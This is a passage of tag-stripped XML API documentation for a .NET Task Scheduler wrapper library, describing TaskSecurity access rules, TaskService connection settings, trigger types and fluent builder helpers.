potentially creating a denial-of-service attack. A new TaskSecurity object always starts with an empty DACL, which denies all access for all users. + Violating the canonical ordering of ACEs. If the ACE list in the DACL is not kept in the canonical order, users might inadvertently be given access to the secured object. For example, denied access rights must always appear before allowed access rights. TaskSecurity objects maintain the correct order internally. + Manipulating security descriptor flags, which should be under resource manager control only. + Creating invalid combinations of ACE flags. + Manipulating inherited ACEs. Inheritance and propagation are handled by the resource manager, in response to changes you make to access and audit rules. + Inserting meaningless ACEs into ACLs. + + The only capabilities not supported by the .NET security objects are dangerous activities that should be avoided by the majority of application developers, such as the following: + + Low-level tasks that are normally performed by the resource manager. + Adding or removing access control entries in ways that do not maintain the canonical ordering. + + To modify Windows access control security for a task, use the method to get the TaskSecurity object. Modify the security object by adding and removing rules, and then use the method to reattach it. + Important: Changes you make to a TaskSecurity object do not affect the access levels of the task until you call the method to assign the altered security object to the task. + To copy access control security from one task to another, use the method to get a TaskSecurity object representing the access and audit rules for the first task, then use the method, or a constructor that accepts a TaskSecurity object, to assign those rules to the second task. + Users with an investment in the security descriptor definition language (SDDL) can use the method to set access rules for a task, and the method to obtain a string that represents the access rules in SDDL format. This is not recommended for new development. + + + + + Initializes a new instance of the class with default values. + + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The task. + The sections of the ACL to retrieve. + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The folder. + The sections of the ACL to retrieve. + + + + Gets the enumeration that the class uses to represent access rights. + + A object representing the enumeration. + + + + Gets the type that the TaskSecurity class uses to represent access rules. + + A object representing the class. + + + + Gets the type that the TaskSecurity class uses to represent audit rules. + + A object representing the class. + + + + Gets a object that represent the default access rights. + + The default task security. + + + + Creates a new access control rule for the specified user, with the specified access rights, access control, and flags. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to allow or deny, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether the rights are allowed or denied. + + The object that this method creates. + + + + + Searches for a matching rule with which the new rule can be merged. If none are found, adds the new rule. + + The access control rule to add. + + + + Searches for an audit rule with which the new rule can be merged. If none are found, adds the new rule. + + The audit rule to add. The user specified by this rule determines the search. + + + + Creates a new audit rule, specifying the user the rule applies to, the access rights to audit, and the outcome that triggers the audit rule. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to audit, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether to audit successful access, failed access, or both. + + A object representing the specified audit rule for the specified user. The return type of the method is the base class, , but the return value can be cast safely to the derived class. + + + + + Searches for an access control rule with the same user and (allow or deny) as the specified rule, and with compatible inheritance and propagation flags; if such a rule is found, the rights contained in the specified access rule are removed from it. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all access control rules with the same user and (allow or deny) as the specified rule and, if found, removes them. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Any rights specified by this rule are ignored. + + + + Searches for an access control rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Searches for an audit control rule with the same user as the specified rule, and with compatible inheritance and propagation flags; if a compatible rule is found, the rights contained in the specified rule are removed from it. + + A that specifies the user to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all audit rules with the same user as the specified rule and, if found, removes them. + + A that specifies the user to search for. Any rights specified by this rule are ignored. + + + + Searches for an audit rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Removes all access control rules with the same user as the specified rule, regardless of , and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Removes all access control rules with the same user and (allow or deny) as the specified rule, and then adds the specified rule. + + The to add. The user and of this rule determine the rules to remove before this rule is added. + + + + Removes all audit rules with the same user as the specified rule, regardless of the value, and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task folder used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. For more information, see Remarks. + + The name used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Quick simple trigger types for the + method. + + + + At boot. + + + On system idle. + + + At logon of any user. + + + When the task is registered. + + + Hourly, starting now. + + + Daily, starting now. + + + Weekly, starting now. + + + Monthly, starting now. + + + + Known versions of the native Task Scheduler library. This can be used as a decoder for the + and values. + + + + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016 post build 1703). + + + Provides access to the Task Scheduler service for managing registered tasks. + + + Creates a new instance of a TaskService connecting to the local machine as the current user. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer. If the user name and password are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer as a SecureString. If the user name and securePassword are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Delegate for methods that support update calls during COM handler execution. + The percentage of completion (0 to 100). + An optional message. + + + Occurs when the Task Scheduler is connected to the local or remote target. + + + Occurs when the Task Scheduler is disconnected from the local or remote target. + + + Gets a local instance of the using the current user's credentials. + Local user instance. + + + + Gets the library version. This is the highest version supported by the local library. Tasks cannot be created using any + compatibility level higher than this version. + + The library version. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + + Gets or sets a value indicating whether to allow tasks from later OS versions with new properties to be retrieved as read only tasks. + + true if allow read only tasks; otherwise, false. + + + Gets the name of the domain to which the computer is connected. + + + Gets the name of the user that is connected to the Task Scheduler service. + + + Gets the highest version of Task Scheduler that a computer supports. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + Gets the root ("\") folder. For Task Scheduler 1.0, this is the only folder. + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + Gets or sets the user account domain to be used when connecting to the . + The user account domain. + + + Gets or sets the user name to be used when connecting to the . + The user name. + + + Gets or sets the user password to be used when connecting to the . + The user password. + + + Gets the user password in plain text from either userPassword or userSecurePassword. + + + Gets a which enumerates all the tasks in all folders. + A for all instances. + + + Gets a Boolean value that indicates if you are connected to the Task Scheduler service. + + + + Gets the connection token for this instance. This token is thread safe and can be used to create new + instances on other threads using the static method. + + The connection token. + + + Gets a value indicating whether the component can raise an event. + + + + Creates a new instance from a token. Given that a TaskService instance is thread specific, this is the + preferred method for multi-thread creation or asynchronous method parameters. + + The token. + A instance valid for the thread calling this method. + + + Gets a formatted string that tells the Task Scheduler to retrieve a string from a resource .dll file. + The path to the .dll file that contains the resource. + The identifier for the resource text (typically a negative number). + A string in the format of $(@ [dllPath], [resourceId]). + + For example, the setting this property value to $(@ %SystemRoot%\System32\ResourceName.dll, -101) will set the property to the + value of the resource text with an identifier equal to -101 in the %SystemRoot%\System32\ResourceName.dll file. + + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + The value set by the COM object via a call to the method. + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + The action to run on thread completion. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + + + Adds or updates an Automatic Maintenance Task on the connected machine. + Name of the task with full path. + The amount of time the task needs once executed during regular Automatic maintenance. + + The amount of time after which the Task Scheduler attempts to run the task during emergency Automatic maintenance, if the task + failed to complete during regular Automatic Maintenance. + + The path to an executable file. + The arguments associated with the command-line operation. + + The directory that contains either the executable file or the files that are used by the executable file. + + A instance of the Automatic Maintenance Task. + + Automatic Maintenance tasks are only supported on Windows 8/Server 2012 and later. + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The to determine what happens when the task is triggered. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + This method is shorthand for creating a new TaskDescription, adding a trigger and action, and then registering it in the root folder. + + + + + + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The executable path. + The arguments (optional). Value can be NULL. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + + + + + + + Signals the object that initialization is starting. + + + Signals the object that initialization is complete. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Finds all tasks matching a name or standard wildcards. + Name of the task in regular expression form. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds all tasks matching a name or standard wildcards. + The filter used to determine tasks to select. + if set to true search all sub folders. + An array of containing all tasks matching . + TaskService.Instance.FindAllTasks(t => t.Triggers.ContainsType(typeof(LogonTrigger)), true); + + + Finds a task given a name and standard wildcards. + The task name. This can include the wildcards * or ?. + if set to true search all sub folders. + A if one matches , otherwise NULL. + + + Gets the event log for this instance. + (Optional) The task path if only the events for a single task are desired. + A instance. + + + Gets the path to a folder of registered tasks. + + The path to the folder to retrieve. Do not use a backslash following the last folder name in the path. The root task folder is + specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character + cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + instance for the requested folder or null if was unrecognized. + + Folder other than the root (\) was requested on a system not supporting Task Scheduler 2.0. + + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets a collection of running tasks. + True to include hidden tasks. + instance with the list of running tasks. + + + Gets the task with the specified path. + The task path. + + The instance matching the , if found. If not found, this method returns null. + + + + + Returns an empty task definition object to be filled in with settings and properties and then registered using the + method. + + A instance for setting properties. + + + Returns a populated with the properties defined in an XML file. + The XML file to use as input. + A instance. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + Sets the user password as a secure string to be used when connecting to the . + A secure string containing the user password to set. + + + Starts the Task Scheduler UI for the OS hosting the assembly if the session is running in interactive mode. + + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Connects this instance of the class to a running Task Scheduler. + + + Finds the task in folder. + The folder. + The wildcard expression to compare task names with. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + + Represents a valid, connected session to a Task Scheduler instance. This token is thread-safe and should be the means of passing + information about a between threads. + + + + Initial call for a Fluent model of creating a task. + The path of the program to run. + An instance. + + + + Abstract base class which provides the common properties that are inherited by all trigger classes. A trigger can be created using + the or the method. + + + + Creates a trigger using a cron string. + String using cron defined syntax for specifying a time interval. See remarks for syntax. + Array of representing the specified cron string. + Unsupported cron string. + + This method does not support all combinations of cron strings. Please test extensively before use. Please post an issue with any + syntax that should work, but doesn't. + The following combinations are known not to work: + + Intervals on months (e.g. "* * * */5 *") + Intervals on DOW (e.g. "* * * * MON/3") + + + This section borrows liberally from the site http://www.nncron.ru/help/EN/working/cron-format.htm. The cron format consists of five fields separated + by white spaces: + + + <Minute> <Hour> <Day_of_the_Month> <Month_of_the_Year> <Day_of_the_Week> + + Each item has bounds as defined by the following: + + * * * * * + | | | | | + | | | | +---- Day of the Week (range: 1-7, 1 standing for Monday) + | | | +------ Month of the Year (range: 1-12) + | | +-------- Day of the Month (range: 1-31) + | +---------- Hour (range: 0-23) + +------------ Minute (range: 0-59) + + Any of these 5 fields may be an asterisk (*). This would mean the entire range of possible values, i.e. each minute, each hour, etc. + + Any of the first 4 fields can be a question mark ("?"). It stands for the current time, i.e. when a field is processed, the current time will be + substituted for the question mark: minutes for Minute field, hour for Hour field, day of the month for Day of month field and month for Month field. + + Any field may contain a list of values separated by commas, (e.g. 1,3,7) or a range of values (two integers separated by a hyphen, e.g. 1-5). + + After an asterisk (*) or a range of values, you can use character / to specify that values are repeated over and over with a certain interval between + them. For example, you can write "0-23/2" in Hour field to specify that some action should be performed every two hours (it will have the same effect + as "0,2,4,6,8,10,12,14,16,18,20,22"); value "*/4" in Minute field means that the action should be performed every 4 minutes, "1-30/3" means the same + as "1,4,7,10,13,16,19,22,25,28". + + + + + In testing and may change. Do not use until officially introduced into library. + + + Occurs when a property value changes. + + + Gets or sets a Boolean value that indicates whether the trigger is enabled. + + + + Gets or sets the date and time when the trigger is deactivated. The trigger cannot start the task after it is deactivated. + While the maximum value for this property is , the Windows Task Scheduler management + application that is part of the OS will fail if this value is greater than December 31, 9998. + + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for the Day, Month and Year values of the structure. + + + Version 2 (1.2 or higher) of the native library only allows for both date and time and all values. + However, the user interface and methods will always show the time translated to local time. The + library makes every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, + the "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the + user selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + + + + Gets or sets the maximum amount of time that the task launched by this trigger is allowed to run. Not available with Task + Scheduler 1.0. + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier for the trigger. Cannot set with Task Scheduler 1.0. + Not supported under Task Scheduler 1.0. + + + + Gets a instance that indicates how often the task is run and how long the repetition pattern is + repeated after the task is started. + + + + Gets or sets the date and time when the trigger is activated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for values where the is unspecified. If the DateTime value Kind is then it will be used as + is. If the DateTime value Kind is then it will be converted to the local time and then used. + + + Version 2 (1.2 or higher) of the native library only allows for all values. However, the user + interface and methods will always show the time translated to local time. The library makes + every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, the + "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the user + selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + Under Version 2, when converting the string used in the native library for this value (ITrigger.Startboundary) this library will + behave as follows: + + + YYYY-MM-DDTHH:MM:SS format uses DateTimeKind.Unspecified and the time specified. + + + YYYY-MM-DDTHH:MM:SSZ format uses DateTimeKind.Utc and the time specified as the GMT time. + + + YYYY-MM-DDTHH:MM:SS±HH:MM format uses DateTimeKind.Local and the time specified in that time zone. + + + + + + + Gets the type of the trigger. + The of the trigger. + + + Creates the specified trigger. + Type of the trigger to instantiate. + of specified type. + + + Creates a new that is an unbound copy of this instance. + A new that is an unbound copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Sets the repetition. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + if set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Returns a string representing this trigger. + String value of trigger. + + + Returns a that represents this trigger in a specific language. + The language of the resulting string. + String value of trigger. + + + Gets the best time span string. + The to display. + Either the full string representation created by TimeSpan2 or the default TimeSpan representation. + + + Assigns the unbound TriggerData structure to the V1 trigger instance. + + + Checks the bind value for any conversion. + The key (property) name. + The value. + + + Gets the unbound value or a default. + Return type. + The property name. + The default value if not found in unbound value list. + The unbound value, if set, or the default value. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Fluent helper class. Not intended for use. + + + Adds a trigger that executes at logon of all users. + instance. + + + Adds a trigger that executes at logon of a specific user. + The user id. + instance. + + + Adds a trigger that executes at task registration. + instance. + + + Adds a trigger that executes every day or week. + The interval of days or weeks. + instance. + + + Adds a trigger that executes monthly on specific days. + The months of the year in which to run. + instance. + + + Adds a working directory to the . + The directory. + instance. + + + Adds a trigger that executes monthly on certain days of the week. + The days of the week on which to run. + instance. + + + Adds a trigger that executes at system startup. + instance. + + + Adds a trigger that executes once at a specific time. + instance. + + + Adds a trigger that executes when system is idle. + instance. + + + Adds a trigger that executes once at specified state change. + Type of the change. + instance. + + + Adds arguments to the . + The arguments. + instance. + + + Fluent helper class. Not intended for use. + + + Transitions to settings syntax. + + + Assigns the name of the task and registers it. + The name. + A registered instance. + + + Assigns the name of the task and registers it. + The name. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + A registered instance. + + + Fluent helper class. Not intended for use. + + + Specifies that an Every target uses days as the interval. + instance. + + + Specifies that an Every target uses weeks as the interval. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify in which weeks of the month it will run. + The week. + instance. + + + Updates a monthly trigger to specify the months of the year in which it will run. + The month of the year. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify the days of the month on which it will run. + The days. + instance. + + + Fluent helper class. Not intended for use. + + + Indicates that the task will be started even if the computer is running on battery power. + instance. + + + + Indicates that the task will be started even if the task is triggered to run in a Remote Applications Integrated Locally + (RAIL) session. + + instance. + + + Sets the task data to a string. + instance. + + + Sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. + instance. + + + Indicates that the task cannot be started with the Run command or the Context menu. + instance. + + + Indicates that the task may not be terminated by using TerminateProcess. + instance. + + + Sets the amount of time that is allowed to complete the task. + instance. + + + Sets the policy that defines how the Task Scheduler handles multiple instances of the task. + instance. + + + Indicates that the task will not be stopped if the computer switches to battery power. + instance. + + + Indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + instance. + + + Indicates that the Task Scheduler will run the task only when a network is available. + instance. + + + Sets the priority level of the task. + instance. + + + Sets a value that specifies how long the Task Scheduler will attempt to restart the task. + instance. + + + Indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + instance. + + + Indicates that the Task Scheduler will wake the computer when it is time to run the task. + instance. + + + Fluent helper class. Not intended for use. + + + Specifies a date on which a trigger will no longer run. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will no longer run. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will no longer run. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will no longer run. + The DateTime value. + instance. + + + Determines whether this trigger is disabled. + instance. + + + Specifies a repetition interval for the trigger. + The interval span. + instance. + + + Specifies a repetition interval for the trigger. + The interval span string. Must be parsable by . + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span. + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span string. Must be parsable by . + instance. + + + Specifies a date on which a trigger will start. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will start. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will start. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will start. + The DateTime value. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a weekly trigger to specify the days of the week on which it will run. + The days of the week. + instance. + + + Fluent helper class. Not intended for use. + + + Values for days of the week (Monday, Tuesday, etc.) + + + Sunday + + + Monday + + + Tuesday + + + Wednesday + + + Thursday + + + Friday + + + Saturday + + + All days + + + Values for months of the year (January, February, etc.) + + + January + + + February + + + March + + + April + + + May + + + June + + + July + + + August + + + September + + + October + + + November + + + December + + + All months + + + Defines the type of triggers that can be used by tasks. + + + Triggers the task when a specific event occurs. Version 1.2 only. + + + Triggers the task at a specific time of day. + + + Triggers the task on a daily schedule. + + + Triggers the task on a weekly schedule. + + + Triggers the task on a monthly schedule. + + + Triggers the task on a monthly day-of-week schedule. + + + Triggers the task when the computer goes into an idle state. + + + Triggers the task when the task is registered. Version 1.2 only. + + + Triggers the task when the computer boots. + + + Triggers the task when a specific user logs on. + + + Triggers the task when a specific user session state changes. Version 1.2 only. + + + Triggers the custom trigger. Version 1.3 only. + + + Values for week of month (first, second, ..., last) + + + First week of the month + + + Second week of the month + + + Third week of the month + + + Fourth week of the month + + + Last week of the month + + + Every week of the month + + + Interface that categorizes the trigger as a calendar trigger. + + + Interface for triggers that support a delay. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Interface for triggers that support a user identifier. + + + Gets or sets the user for the . + + + Represents a trigger that starts a task when the system is booted. + + A BootTrigger will fire when the system starts. It can only be delayed. All triggers that support a delay implement the + ITriggerDelay interface. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a custom trigger. This class is based on undocumented features and may change. This type of trigger is only + available for reading custom triggers. It cannot be used to create custom triggers. + + + + Gets a value that indicates the amount of time between the trigger events and when the task is started. + This value cannot be set. + + + Gets the name of the custom trigger type. + The name of the XML element representing this custom trigger. + + + Gets the properties from the XML definition if possible. + + + Clones this instance. + This method will always throw an exception. + CustomTrigger cannot be cloned due to OS restrictions. + + + Updates custom properties from XML provided by definition. + The XML from the TaskDefinition. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a daily schedule. For example, the task starts at a specific time every day, every + other day, every third day, and so on. + + A DailyTrigger will fire at a specified time every day or interval of days. + + + + + + + + Creates an unbound instance of a . + Interval between the days in the schedule. + + + Sets or retrieves the interval between the days in the schedule. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a system event occurs. Only available for Task Scheduler 2.0 on Windows Vista or + Windows Server 2003 and later. + + The EventTrigger runs when a system event fires. + + + "; + eTrigger.ValueQueries.Add("Name", "Value"); + ]]> + + + + + Creates an unbound instance of a . + + + Initializes an unbound instance of the class and sets a basic event. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the XPath query string that identifies the event that fires the trigger. + + + + Gets a collection of named XPath queries. Each query in the collection is applied to the last matching event XML returned from + the subscription query specified in the Subscription property. The name of the query can be used as a variable in the message of + a action. + + + + Builds an event log XML query string based on the input parameters. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + XML query string. + log + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets basic event information. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + true if subscription represents a basic event, false if not. + + + + Sets the subscription for a basic event. This will replace the contents of the property and clear all + entries in the property. + + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when the computer goes into an idle state. For information about idle conditions, see Task + Idle Conditions. + + + An IdleTrigger will fire when the system becomes idle. It is generally a good practice to set a limit on how long it can run using + the ExecutionTimeLimit property. + + + + + + + + + Creates an unbound instance of a . + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a user logs on. When the Task Scheduler service starts, all logged-on users are + enumerated and any tasks registered with logon triggers that match the logged on user are run. Not available on Task Scheduler 1.0. + + + A LogonTrigger will fire after a user logs on. It can only be delayed. Under V2, you can specify which user it applies to. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + + Gets or sets The identifier of the user. For example, "MyDomain\MyName" or for a local account, "Administrator". + This property can be in one of the following formats: + • User name or SID: The task is started when the user logs on to the computer. + • NULL: The task is started when any user logs on to the computer. + + + If you want a task to be triggered when any member of a group logs on to the computer rather than when a specific user logs on, + then do not assign a value to the LogonTrigger.UserId property. Instead, create a logon trigger with an empty + LogonTrigger.UserId property and assign a value to the principal for the task using the Principal.GroupId property. + + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task on a monthly day-of-week schedule. For example, the task starts on every first Thursday, May + through October. + + + + Creates an unbound instance of a . + The days of the week. + The months of the year. + The weeks of the month. + + + Gets or sets the days of the week during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last week of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets the weeks of the month during which the task runs. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + + Represents a trigger that starts a job based on a monthly schedule. For example, the task starts on specific days of specific months. + + + + Creates an unbound instance of a . + + The day of the month. This must be a value between 1 and 32. If this value is set to 32, then the value will be set and no days will be added regardless of the month. + + The months of the year. + + + Gets or sets the days of the month during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last day of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Converts an array of bit indices into a mask with bits turned ON at every index contained in the array. Indices must be from 1 + to 32 and bits are numbered the same. + + An array with an element for each bit of the mask which is ON. + An integer to be interpreted as a mask. + + + Compares two collections. + Item type 